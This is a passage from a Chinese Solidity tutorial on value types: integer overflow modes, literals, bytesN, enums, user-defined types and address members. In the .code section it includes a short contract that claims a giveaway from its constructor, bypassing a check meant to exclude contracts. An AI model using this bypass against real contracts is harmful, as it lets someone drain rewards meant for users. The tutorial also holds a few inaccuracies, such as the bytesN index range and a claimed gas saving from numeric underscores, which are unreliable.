int152 | -2854495385411919762116571938898990272765493248 | 2854495385411919762116571938898990272765493247 |
int160 | -730750818665451459101842416358141509827966271488 | 730750818665451459101842416358141509827966271487 |
int168 | -187072209578355573530071658587684226515959365500928 | 187072209578355573530071658587684226515959365500927 |
int176 | -47890485652059026823698344598447161988085597568237568 | 47890485652059026823698344598447161988085597568237567 |
int184 | -12259964326927110866866776217202473468949912977468817408 | 12259964326927110866866776217202473468949912977468817407 |
int192 | -3138550867693340381917894711603833208051177722232017256448 | 3138550867693340381917894711603833208051177722232017256447 |
int200 | -803469022129495137770981046170581301261101496891396417650688 | 803469022129495137770981046170581301261101496891396417650687 |
int208 | -205688069665150755269371147819668813122841983204197482918576128 | 205688069665150755269371147819668813122841983204197482918576127 |
int216 | -52656145834278593348959013841835216159447547700274555627155488768 | 52656145834278593348959013841835216159447547700274555627155488767 |
int224 | -13479973333575319897333507543509815336818572211270286240551805124608 | 13479973333575319897333507543509815336818572211270286240551805124607 |
int232 | -3450873173395281893717377931138512726225554486085193277581262111899648 | 3450873173395281893717377931138512726225554486085193277581262111899647 |
int240 | -883423532389192164791648750371459257913741948437809479060803100646309888 | 883423532389192164791648750371459257913741948437809479060803100646309887 |
int248 | -226156424291633194186662080095093570025917938800079226639565593765455331328 | 226156424291633194186662080095093570025917938800079226639565593765455331327 |
int256 | -57896044618658097711785492504343953926634992332820282019728792003956564819968 | 57896044618658097711785492504343953926634992332820282019728792003956564819967 |
问题: 为什么 uint8/int8
至 uint256/uint256
都是以 8 的倍数递增,且最大值是 256。
1 字节是 8 位,所以后面 8,16,都需要是 8 的整数倍,int8 是 8 位。EVM 为地址设置的最大长度是 256 位,所以最大值是uint256/uint256
。
计算中最小一级的信息单位是 byte 和 bit: 其中字节(Byte)为最小存储容量单位,位(bit)是最小储存信息的单位,也被称为最小的数据传输单位;一个位就代表一个 0 或 1(即二进制);每 8 个 bit(简写为 b)组成一个字节 Byte(简写为 B);所以 uint256
和 bytes32
可以转换
bytes1 对应 uint8
bytes2 对应 uint16
…
bytes32 对应 uint256
问题: 为什么 int8 的取值范围是-128~127 呢?为什么 uint256
的最大值是 2**256 -1
,而不是 2**256
呢?
1 字节是 8 位,int8 是 8 位,二进制表示为0000 0000
至1000 0000
,第一位是符号位;第一位为 0 是正值,第一位为 1 是负值;因为 int8 总共能够表示 2 的 8 次方,所以带符号的正值为 128 个数,负值为 128 个数;
计算机里是将 0 算在正值内,负值的范围还是-128;但是 0 不是正数也不是负数,所以正值范围少了一个位置,就剩 127 个位置了。
问题: 字节 & bit & 十六进制数字关系
bytes1 是指 1 个字节,1 个字节可以表示成 2 个连续的 16 进制数字。最大值是
0xff
bytes1 是指 1 个字节,1 个字节可以表示成 8 个连续的 bit 数字。最大值是
11111111
bytes1
等于两位连续的十六进制数字0xXX
8 个 bit 最大值是
11111111
,8 个 bit 对应 2 个连续的十六进制数字,最大是0xff
;uint8
等于两位连续的十六进制数字0xXX
checked 模式
⚠️: 在 Solidity 之前的版本中,当对无限制整数执行算术运算,其结果超出结果类型的范围,这是就发生了上溢出或下溢出。在 Solidity 0.8.0 之前,算术运算总是会在发生溢出的情况下进行“截断”,而不是抛出异常。这就会导致一些麻烦的事情,可能导致未知的错误,所以我们不得不靠引入额外检查库来解决这个问题(最常见的如 OpenZepplin 的 SafeMath)
而从 Solidity 0.8.0
开始,所有的算术运算默认就会进行溢出检查,额外引入库将不再必要。0.8.0 开始,算术运算有两种计算模式:一种是checked
(检查)模式,另一种是 unchecked
(不检查)模式。
默认情况下,算术运算在 checked
模式下,即都会进行溢出检查,如果结果落在取值范围之外,调用会通过 失败异常 回退。
你也可以通过 unchecked{ ... }
切换到 “unchecked”模式,更多可参考 unchecked
.
unchecked 非检查模式
如果依然想要之前“截断”的效果,而不是抛出异常错误,那么可以使用 unchecked{}
代码块:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
uint256 public a = type(uint256).max;
uint8 public b = 1;
function f1() public view returns (uint256) {
// 减法溢出会返回“截断”的结果
unchecked {
return a + b;
}
}
function f2() public view returns (uint256) {
unchecked {
return a + 2;
}
}
function g() public view returns (uint256) {
// 溢出会抛出异常
return a + b;
}
}
调用 g()
会触发失败异常, 调用 f1()/f2()
分别是截断效果,
⚠️: unchecked
代码块可以在代码块中的任何位置使用,但不可以替代整个函数代码块,同样不可以嵌套。切此设置仅影响语法上位于 unchecked
块内的语句。 在块中调用的函数不会此影响。
⚠️: 为避免歧义,不能在 unchecked 块中使用 _;
, 该表示方法仅用于函数修改器。
触发溢出检查的运算符
下面的这个运算操作符会进行溢出检查,如果上溢出或下溢会触发失败异常。 如果在非检查模式代码块中使用,将不会出现错误:
++
, --
, +
, 减 -
, 负 -
, *
, /
, %
, **
+=
,-=
, *=
, /=
, %=
除 0
(或除 0取模
)
⚠️ 警告: 除 0
(或除 0取模
)的异常是不能被 unchecked
忽略的。会发生 Panic
错误。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.18;
contract C {
uint256 public a = type(uint256).max;
function f1() public view returns (uint256) {
unchecked {
return a / 0;
}
}
function f2() public view returns (uint256) {
unchecked {
return a % 0;
}
}
}
位运算不会执行上溢或下溢检查
⚠️ 注解: 位运算不会执行上溢或下溢检查。 这在使用位移位(<<
, >>
, <<=
, >>=
)来代替整数除法和 2 指数时尤其明显。 例如 type(uint256).max << 3
不会回退,而 type(uint256).max + 1
会失败回退。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
uint256 public a = type(uint256).max;
uint8 public b = 1;
function g1() public view returns (uint256) {
return a + b;
}
function g2() public view returns (uint256) {
return a << 3;
}
}
-int 值需要注意
注解 int x = type(int).min; -x;
中的第 2 句会溢出,因为负数的范围比正整数的范围大 1。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
int256 x = type(int256).min;
int256 y = -1;
function fn1() public view returns (int256) {
unchecked {
return -x;
}
}
// 溢出
function fn2() public view returns (int256) {
return -x;
}
function fn3() public view returns (int256) {
return -y;
}
}
显式类型转换将始终截断并且不会导致失败的断言,但是从整数到枚举类型的转换例外。
显式类型转换
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
uint256 public a = type(uint256).max;
uint8 public b = uint8(a);
}
Integer 整数字面常量
整数字面常量中用_
增加可读性
为了提高可读性可以在数字之间加上下划线。 例如,十进制 123_000
,十六进制 0x2eff_abde
,科学十进制表示 1_2e12
都是有效的。
需要注意以下几点:
下划线仅允许在两位数之间,并且不允许下划线连续出现。
添加到数字文字中下划线没有额外的语义,仅仅只是为了可读性.
下划线会被编译器忽略。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo{
uint public count1 = 123_456_789; // 23503 gas
uint public count2 = 123_456_789; // 23493 gas
uint public count3 = 123456789; // 23537 gas
int public count4 = -123456789; // 23559 gas
int public count5 = -123_456_789; // 23471 gas
}
通过测试发现,带有_
数字的变量,读取时候花费 gas 更少
字面常量支持任意精度
数值字面常量表达式本身支持任意精度,直到被转换成了非常量类型(例如,在常量变量表达式之外有运算,或发生了显示转换)。 这意味着在数值常量表达式中, 计算不会溢出而除法也不会截断。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 public a = (2**800 + 1) - 2**800;
uint8 public b = 0.5 * 8;
}
(2**800 + 1) - 2**800
的结果是字面常量 1 (属于 uint8 类型),尽管计算的中间结果已经超过了 以太坊虚拟机的机器字长度。 此外, .5 * 8
的结果是整型 4
(尽管有非整型参与了计算)。
⚠️: 数 值字面常量表达式只要在非字面常量表达式中使用就会转换成非字面常量类型。 在下面的例子中,尽管我们知道 b 的值是一个整数,但 2.5 + a
这部分表达式并不进行类型检查,因此编译不能通过。
uint128 a = 1;
uint128 b = 2.5 + a + 0.5;
除法截断
注意除法截断: 在智能合约中,在 字面常量 会保留精度(保留小数位)。
整数的除法会被截断(例如:1/4
结果为 0),但是使用字面量的方式不会被截断
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract IntegerTest {
function test1() public pure returns (uint256, uint256) {
uint256 a = 1;
uint256 b = 4;
uint256 c1 = (1 / 4) * 4; // 1 => 未截断
uint256 c2 = (a / b) * b; // 0 => 截断
return (c1, c2);
}
function test2() public pure returns (int256, int256) {
int256 a = -1;
int256 b = -4;
int256 c1 = (-1 / -4) * (-4); // -1 => 未截断
int256 c2 = (a / b) * b; // 0 => 截断
return (c1, c2);
}
}
注释: 表达式 type(int).min / (-1)
是仅有的整除会发生向上溢出的情况。 在算术检查模式下,这会触发一个失败异常,在截断模式下,表达式的值将是 type(int).min
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function test1() public pure returns (int256 a) {
a = type(int256).min / (-2);
}
// VM error: revert.
function test2() public pure returns (int256 a) {
a = type(int256).min / (-1);
}
function test3() public pure returns (int256 a) {
unchecked {
a = type(int256).min / (-1);
}
}
}
优先使用较小类型计算
虽然大多数运算符在字面常量运算时都会产生一个字面常量表达式,但有一些运算符并不遵循这种模式:
三元运算符
(... ? ... : ...)
,数组下标访问 (
<array>[<index>]
).
你可能认为像255 + (true ? 1 : 0)
或 255 + [1, 2, 3][0]
这样的表达式等同于直接使用 256 字面常量。 但事实上,它们是在 uint8
类型中计算的,会溢出。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
// VM error: revert.
function testA1() public pure returns (uint256 a) {
a = 255 + (true ? 1 : 0);
}
function testA2() public pure returns (uint256 a) {
a = (true ? 1 : 0) + 255;
}
// VM error: revert.
function testB1() public pure returns (uint256 a) {
a = 255 + [1, 2, 3][0];
}
function testB2() public pure returns (uint256 a) {
a = [1, 2, 3][0] + 255;
}
function testA3() public pure returns (uint256 a) {
a = 255 + uint256(true ? 1 : 0);
}
function testB3() public pure returns (uint256 a) {
a = 255 + uint256([1, 2, 3][0]);
}
}
Fixed 定长浮点型
Solidity 还没有完全支持定长浮点型。
可以声明定长浮点型的变量,但不能给它们赋值或把它们赋值给其他变量。。
可以通过用户定义的值类型的 wrap / unwrap 来模拟出来,后面介绍用户自定义类型时候会介绍。
fixed / ufixed
:表示各种大小的有符号和无符号的定长浮点型。 在关键字 ufixedMxN
和 fixedMxN
中,M
表示该类型占用的位数,N
表示可用的小数位数。 M
必须能整除 8,即 8 到 256 位。 N
则可以是从 0 到 80 之间的任意数。
BytesN 定长字节数组
定义方式 bytesN
,其中 N 可取 1~32
中的任意整数;
bytes1 代表只能存储一个字节。
⚠️ 注意:一旦声明,其内部的字节长度不可修改,内部字节不可修改。
⚠️ 注意:
bytes32
和bytes
是不同的。bytesN
: 是定长的字节数组,是值类型bytes
: 是变长字节数组,是引用类型。
普通赋值
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
// 固定长度的字节数组
bytes1 public a1 = 0x61;
bytes2 public a2 = 0x6100;
bytes4 public a3 = 0x61000000;
bytes6 public a4 = 0x416e62616e67;
bytes7 public a5 = 0x416e62616e6700;
bytes8 public a6 = 0x416e62616e670000;
bytes16 public a7 = 0x416e62616e6700000000000000000000;
bytes32 public a8 =
0x416e62616e670000000000000000000000000000000000000000000000000000;
}
注意这里 bytes32
和 bytes
是不同的。bytes
是变长字节数组,是引用类型。
使用字符串赋值
警告:字符串字面常量在赋值给 bytesN 时被解释为原始的字节形式。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
bytes1 public b1 = "a";
bytes2 public b2 = "a";
bytes4 public b3 = "a";
bytes6 public b4 = "Anbang";
bytes7 public b5 = "Anbang";
bytes8 public b6 = "Anbang";
bytes16 public b7 = "Anbang";
bytes32 public b8 = "Anbang";
}
属性
length
(只读)返回字节个数,可以通过索引读取对应索引的字节。
索引访问:
bytesN[index]
index 取值范围
[0, N]
,其中 N 表示长度。如果
x
是bytesI
类型,那么x[k]
(其中 0 <= k < I)返回第 k 个字节(只读)。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
// 固定长度的字节数组
bytes1 public a1 = 0x61;
bytes2 public a2 = 0x6100;
// length
uint256 public n1 = a1.length;
uint256 public n2 = a2.length;
// 索引
function getIndex(uint8 index_) public view returns(bytes1){
return a2[index_];
}
// 不修可以修改
// function setIndex(uint8 index_,bytes1 value_) public view{
// a2[index_] = value_;
// }
}
字符串字面常量及类型
字符串字面常量只能包含可打印的 ASCII 字符,这意味着他是介于 0x20 和 0x7E 之间的字符。
字符串字面常量是指由双引号或单引号引起来的字符串( "foo"
或者 'bar'
);
字符串字面量是值类型
转换: 和整数字面常量一样,字符串字面常量的类型也可以发生改变,它们可以隐式地转换成bytes1
,……, bytes32
,如果合适的话,还可以转换成 bytes
以及 string
。
比如 bytes1 public a8 = "a";
和 bytes2 public b2 = "a";
。字符串字面常量在赋值给 bytesN
时被解释为原始的字节形式。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
bytes1 public b1 = "a";
string public b2 = "a";
}
转义字符
但是我们写特殊字符串时候遇到一个问题,比如我想输出一个 fo"o
和fo'o
的字符串就很难弄,因为莫认为"
和'
是字符串的结尾。如果想要输出这种特殊的字符串,就需要转义字符了。
此外,字符串字面常量支持下面的转义字符:
\'
(单引号)\"
(双引号)\\
(反斜杠)\<newline>
(转义实际换行)\b
(退格)\f
(换页)\n
(换行符)\r
(回车)\t
(标签 tab)\v
(垂直标签)\xNN
(十六进制转义,见下文)\uNNNN
(unicode 转义,见下文)
\xNN
表示一个 16 进制值,最终转换成合适的字节,而 \uNNNN
表示 Unicode 编码值,最终会转换为 UTF-8 的序列。
问答题:下面字符串长度为多少字节?
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
string public a1 = "\n\"'\\abc\
def";
bytes32 public a2 = "\n\"'\\abc\
def";
}
字符串长度为十个字节,它以换行符开头,后跟双引号,单引号,反斜杠字符,以及(没有分隔符)字符序列 "'\abcdef
。
用空格分开的字符串
用空格分开的 "foo" "bar"
等效于 "foobar"
,
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
string public a = "a" "b";
}
Unicode 字面常量
常规字符串文字只能包含 ASCII,而 Unicode 文字(以关键字 unicode 为前缀)可以包含任何有效的 UTF-8 序列。 它们还支持与转义序列完全相同的字符作为常规字符串文字。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
string public a = unicode"同志们好";
}
十六进制字面常量
十六进制字面常量以关键字 hex
打头,后面紧跟着用单引号或双引号引起来的字符串(例如,hex"001122FF"
)。 字符串的内容必须是一个十六进制的字符串,它们的值将使用二进制表示。
基本用法
它们的内容必须是十六进制数字,可以选择使用单个下划线作为字节边界分隔符。 字面常量的值将是十六进制序列的二进制表示形式。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
string public a1 = "a";
bytes1 public a2 = "a";
bytes1 public a3 = 0x61;
bytes1 public a4 = hex"61";
}
用空格分开的十六进制字面常量
用空格分隔的多个十六进制字面常量被合并为一个字面常量: hex"61" hex"61"
等同于 hex"6161"
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
bytes2 public a = hex"61" hex"61";
}
十六进制字面常量跟 字符串字面常量 很类似,具有相同的转换规则
Enum:枚举
enum
是一种用户自定义类型,用于表示多种状态,枚举可用来创建由一定数量的“常量值”构成的自定义类型。主要作用是用于限制某个事务的有限选择。比如将咖啡的容量大小限制为:大、中、小,这将确保任何人不能购买其他容量的咖啡,只能在这里选择。
枚举默认值是第一个成员,所以枚举类型至少需要一个成员,枚举不能多于 256 个成员。枚举默认的类型为 uint8
,当枚举数足够多时,它会自动变成 uint16
..等变大。可以通过 remix 部署后,函数的输入值内查看类型 uint8
/ uint16
枚举类型,返回值是索引,默认值是 0;
枚举类型的默认值是第一个值。
枚举类型 enum 至少应该有一名成员。
设置的时候,可以设置为索引,也可以对应的枚举名称;
枚举类型 enum 可以与整数进行显式转换,但不能进行隐式转换。
显示转换会在运行时检查数值范围,如果不匹配,将会引起异常。
例子:考虑一个限制,将交易的状态限制为:None
/Pending
/Shiped
/Completed
/Rejected
/Canceled
这几种。这将确保交易状态仅在列出的状态内。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Enum {
// 枚举类型的默认值是第一个值。
// 结构
enum Status {
None, // 0
Pending, // 1
Shiped,// 2
Completed,
Rejected,
Canceled
}
// 变量
Status public status;
// 设置索引值
function set(Status _status) external {
status = _status;
}
// 由于枚举类型不属于 |ABI| 的一部分,因此对于所有来自 Solidity 外部的调用,
// "getStatus" 的签名会自动被改成 "getStatus() returns (uint8)"。
function getStatus() public view returns (Status) {
return status;
}
function getDefaultStatus() public view returns (uint256) {
return uint256(status);
}
// 设置
function ship() external {
status = Status.Shiped;
}
// 恢复为0
function reset() external {
delete status;
}
}
很多人感觉 enum 很少用,一是因为应用场景确实比较窄,二是因为可以被其他数据类型所代替;但按照编码规范,限制选择范围场景,除了 bool 以外的,推荐使用 enum 类型来定义。
枚举是显示所有整型相互转换,但不允许隐式转换。从整型显式转换枚举,会在运行时检查整数时候在枚举范围内,否则会导致异常( Panic 异常 )。
枚举还可以在合约或库定义之外的文件级别上声明。
属性
数据表示与:选项从0
开始的无符号整数值表示。
方法
delete
type(NameOfEnum).min
type(NameOfEnum).max
使用 type(NameOfEnum).min
和 type(NameOfEnum).max
你可以得到给定枚举的最小值和最大值。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Enum {
// 枚举类型的默认值是第一个值。
enum Status {
None,//0
Pending,//1
Shiped,//2
Completed,//3
Rejected,//4
Canceled// 5
}
function getLargestValue() public pure returns (Status) {
return type(Status).max;
}
function getSmallestValue() public pure returns (Status) {
return type(Status).min;
}
}
用户定义的值类型
Solidity 允许在一个基本的值类型上创建一个零成本的抽象。这类似于一个别名,但有更严格的类型要求。
用户定义值类型使用 type UserType is DefaultType
来定义。
其中 UserType
是新引入的类型的名称, DefaultType
必须是内置的值类型(”底层类型”)。自定义类型的值的数据表示则继承自底层类型,并且 ABI 中也使用底层类型。
⚠️: 用户定义的类型 UserType
没有任何运算符或绑定成员函数。即使是操作符 ==
也没有定义。也不允许与其他类型进行显式和隐式转换。
方法
UserType.wrap()
: 用来从底层类型转换到自定义类型UserType.unwrap()
: 从自定义类型转换到底层类型。
例子
案例:一个 18 位小数、256 bit 的浮点类型
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 使用用户定义的值类型表示 18 位小数、256 bit的浮点类型。
type UFixed256x18 is uint256;
/// 在 UFixed256x18 上进行浮点操作的精简库。
library FixedMath {
uint constant multiplier = 10**18;
/// 两个 UFixed256x18 数相加,
/// 溢出时恢复,依赖于 uint256 上的检查算术
function add(UFixed256x18 a, UFixed256x18 b) internal pure returns (UFixed256x18) {
return UFixed256x18.wrap(UFixed256x18.unwrap(a) + UFixed256x18.unwrap(b));
}
/// 将 UFixed256x18 和 uint256 相乘.
/// 溢出时恢复,依赖于 uint256 上的检查算术
function mul(UFixed256x18 a, uint256 b) internal pure returns (UFixed256x18) {
return UFixed256x18.wrap(UFixed256x18.unwrap(a) * b);
}
/// UFixed256x18 向下取整.
/// @return 不超过 `a` 的最大整数。
function floor(UFixed256x18 a) internal pure returns (uint256) {
return UFixed256x18.unwrap(a) / multiplier;
}
/// 将 uint256 转换为相同值的 UFixed256x18。
/// 如果整数太大,则还原。
function toUFixed256x18(uint256 a) internal pure returns (UFixed256x18) {
return UFixed256x18.wrap(a * multiplier);
}
}
contract Test {
uint256 a = 1;
uint256 b = 2;
function testAdd() external view returns (UFixed256x18) {
return FixedMath.add(FixedMath.toUFixed256x18(a), FixedMath.toUFixed256x18(b));
}
function testMul() external view returns (UFixed256x18) {
return FixedMath.mul(FixedMath.toUFixed256x18(a),b);
}
}
注意 UFixed256x18.wrap
和 FixedMath.toUFixed256x18
的签名相同,但执行的是两个完全不同的操作:
UFixed256x18.wrap
函数返回一个与输入的数据表示相同的自定义值类型(UFixed256x18
)。FixedMath.toUFixed256x18
则返回一个具有相同数值的UFixed256x18
。
值类型:地址类型
地址分为外部地址和合约地址,每个地址都有一块持久化内存区称为存储。
地址类型也是值类型,因为比较特殊,所以单独拿出来讲。地址类型是 Solidity 语言独有的数据类型,表示以太坊的地址类型。用 address 表示地址,长度是 20 个字节;我们日常使用的是十六进制的地址格式,比如: 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac
;这种类型适合存储合约地址或外部地址。
地址字面常量
通常的地址类型是 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac
这样的 checksum address,。 而没有通过校验测试, 长度在 39 到 41 个数字之间的十六进制字面常量,会产生一个错误, 比如 0XFFD0D80C48F6C3C5387B7CFA7AA03970BDB926AC
就是一个错误 address 类型。会提示正确的地址,也可以将地址输入到 etherscan 获取。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
// This looks like an address but has an invalid checksum.
// Correct checksummed address: "0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac".
// If this is not used as an address, please prepend '00'.
// For more information please see
// https://docs.soliditylang.org/en/develop/types.html#address-literals
// address public a1 = 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926AC;
// 直接在提示种获取到正确的 checksummed address,
// 也可以在 etherscan 种得到 checksum 地址。
address public a2 = 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac;
}
如果不怕麻烦,还可以通过 SDK 来自己转换 web3.utils.toChecksumAddress(address)
address/uint/bytes32 之间的转换
1 字节 8 位,一个 address 是 20 个字节,是 160 位,所以 address 可以用 uint160 表示。
1 字节可以表示为两个连续的十六进制数字,所以 address 可以用连续的 40 个十六进制数字表示。
address 不允许任何算数操作
address
允许和uint160
、整型字面常量
、bytes20
及合约类型
相互转换。如果将使用较大字节数组类型转换为
address
,例如bytes32
,那么address
将被截断。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
bytes32 public a =
0x111122223333444455556666777788889999AAAABBBBCCCCDDDDEEEEFFFFCCCC;
// 0x111122223333444455556666777788889999aAaa
address public b = address(uint160(bytes20(a)));
// 0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc
address public c = address(uint160(uint256(a)));
}
⚠️:为了减少转换歧义,我们在转换中显式截断处理。 以 32bytes 值 0x111122223333444455556666777788889999AAAABBBBCCCCDDDDEEEEFFFFCCCC
为例, 如果使用 address(uint160(bytes20(b)))
结果是 0x111122223333444455556666777788889999aAaa
, 而使用 address(uint160(uint256(b)))
结果是 0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc
。
注意,网上很多在线转换工具得到的结果并不正确,比如: https://tool.oschina.net/hexconvert/
如下例子进行真实转换:_owner
在一些在线的软件内转换的不正确,上面的网址有个小 BUG,输入十六进制数据的时候,不能带 0x
前缀。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract test {
address _owner; // 十六进制
uint160 _ownerUint; // 十进制
constructor() {
_owner = 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac;
_ownerUint = 1460450021995508802976443037013257463744970696364;
}
function toUint160() public view returns (uint160) {
//转换10进制
return uint160(_owner);
}
function toAddress() public view returns (address) {
return address(_ownerUint);
}
}
注意: 这里说的地址是 0x123...
这种十六进制的地址公钥,而不是应用层的 anbang.eth
这种 ENS 地址。虽然在很多钱包可以通过anbang.eth
来向0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac
转账,但仅仅是应用层的中转服务。具体可以在 以太坊浏览器,或者钱包内输入 ENS 域名查看中转逻辑.(ENS 是一种别名,除了在以太坊网络可以使用,在 imToken 等钱包内,在 BTC 网络也可以使用,它并不是区块链的底层,而是应用层)
两种形式的地址
在第一章接收 ETH 那一节的三个关键字里,也介绍了 payable,这里再次讲一下加深印象。
address
:保存一个 20 字节的值(以太坊地址的大小)。address payable
:可支付地址,与address
相同,不过有成员函数transfer
和send
。
如果你需要 address
类型的变量,并计划发送以太币给这个地址,那么声明类型为 address payable
可以明确表达出你的需求。 同样,尽量更早对他们进行区分或转换。
这种区别背后的思想是 address payable
可以向其发送以太币,而不能向一个普通的 address
发送以太币。比如,它可能是一个智能合约地址,并且不支持接收以太币。
两种形式的地址转换
允许从 address payable
到 address
的隐式转换,而从 address
到 address payable
必须显示的 通过 payable(<address>)
进行转换。也只能通过 payable(...)
表达式把 address
类型和合约类型转换为 address payable
。
在介绍地址 payable 方法时候会具体介绍,转换的时候注意下面两个点:
只有能接收以太币的合约类型,才能够进行此转换。
例如合约要么有 receive 或可支付的回退函数。
payable(0)
是有效的,这是此规则的例外。
地址属性
address 拥有如下属性;
.balance : 以 Wei 为单位的余额。
<address>.balance returns(uint256)
.code : 地址上的代码(可以为空)
<address>.code returns(bytes memory)
.codehash : 地址的 codehash
<address>.codehash returns(bytes32)
balance 属性
获取地址的余额,wei 单位。如下例子是获取指定地址的 ETH 余额,和当前调用者的余额。(基于当前使用的网络)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function getBalance1(address addr) public view returns (uint256) {
return addr.balance;
}
function getBalance2() external view returns (uint256) {
return address(msg.sender).balance;
}
}
函数内一般不像上面那么用,更多的是获取合约本身的 ETH 余额;
如何获取合约地址?:合约部署后,会有一个合约地址; 所有合约都可以转换为 address 类型。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function returnContractAddress() external view returns (address) {
return address(this);
}
}
因此可以使用 address(this).balance
查询当前合约的余额,获取合约本身的 ETH 余额如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function getBalance() external view returns (uint256) {
return address(this).balance;
}
receive() external payable {}
}
⚠️: 在版本 0.5.0 之前,Solidity 允许通过合约实例来访问地址的成员,例如 this.balance
,不过现在禁止这样做,必须显式转换为地址后访问,如: address(this).balance
。
code 属性
可以查询任何智能合约的部署代码。使用 .code
来获取 EVM 的字节码,其返回 bytes memory
,值可能是空。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function getCode() public view returns (bytes memory) {
return address(this).code;
}
// 外部地址 code 内容是空,
// 可以通过这个来判断地址是否为合约
function getAdsCode(address a_) public view returns (bytes memory) {
return address(a_).code;
}
}
注意:合约没有完全创建,也就是 constructor 没有完全执行完的时候,code 也是空。
下面是发糖果的合约,只允许用户的地址领取,禁止合约地址。结果被合约地址薅羊毛了。
// 发糖果的合约
contract A {
uint256 giftValue = 666;
mapping(address=>uint256) public gifts;
function gift() public returns(uint256){
bytes memory senderCode = getCode(msg.sender);
require(senderCode.length==0,unicode"只能用户领取,薅羊毛的合约滚!!!");
gifts[msg.sender] = giftValue;
return giftValue;
}
function getCode(address ads_) public view returns(bytes memory){
return address(ads_).code;
}
}
// 薅羊毛的合约
contract Test {
A a;
uint256 public target; // 保存薅羊毛得到的糖果
constructor(address ads_){
target = A(ads_).gift();
}
}
codehash 属性
使用 .codehash
获得合约代码的 Keccak-256 哈希值
(为 bytes32 )。
注意, addr.codehash
比使用 keccak256(addr.code)
更便宜。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function getCode() public view returns (bytes memory) {
return address(this).code;
}
function getCodeByKeccak256() public view returns (bytes32) {
return keccak256(address(this).code);
}
function getCodehash() public view returns (bytes32) {
return address(this).codehash;
}
}
地址方法
address 拥有如下方法;
address()
: 可以将地址转换到地址类型。payable()
: 将普通地址转为可支付地址。.transfer(uint256 amount)
: 将余额转到当前地址(合约地址转账).send(uint256 amount)
: 将余额转到当前地址,并返回交易成功状态(合约地址转账).call(bytes memory)
: 用给定的有效载荷(payload)发出低级CALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账).delegatecall(bytes memory)
: 用给定的有效载荷(payload)发出低级DELEGATECALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账)staticcall(bytes memory)
: 用给定的有效载荷(payload)发出低级STATICCALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账)
address()
1.获取当前合约地址:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Address {
mapping(address => uint256) public balances; // 用在 mapping 结构内
// 存款
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function getAddress() external view returns (address) {
return address(this);
}
function getBalance1() external view returns (uint256) {
return address(this).balance;
}
function getBalance2() external view returns (uint256) {
return address(msg.sender).balance;
}
}
2.uint 值转换成地址:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function getAddress()
external
pure
returns (
address,
address,
address,
address,
address
)
{
return (address(0), address(1), address(3), address(6), address(9));
}
}
返回结果如下:
0: address: 0x0000000000000000000000000000000000000000
1: address: 0x0000000000000000000000000000000000000001
2: address: 0x0000000000000000000000000000000000000003
3: address: 0x0000000000000000000000000000000000000006
4: address: 0x0000000000000000000000000000000000000009
3.获取即将部署的地址
这是 uint 值转换成地址 的一种应用。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// 获取即将部署的地址
function getAddress(bytes memory bytecode, uint256 _salt)
external
view
returns (address)
{
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff), // 固定字符串
address(this), // 当前工厂合约地址
_salt, // salt
keccak256(bytecode) //部署合约的 bytecode
)
);
return address(uint160(uint256(hash)));
}
}
payable()
注意:支付的时候,地址必须 payable
类型!从 address
到 address payable
的转换。可以通过 payable(x)
进行 ,其中 x
必须是 address
类型。
让普通地址为 payable 有两种方式
方式一: 参数中 地址标注 address payable ,并且函数状态可变性标为
payable
;这种更省 gas (推荐)
方式二: 仅在内部进行
payable(address)
显示转换
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Payable {
address payable public owner;
constructor() {
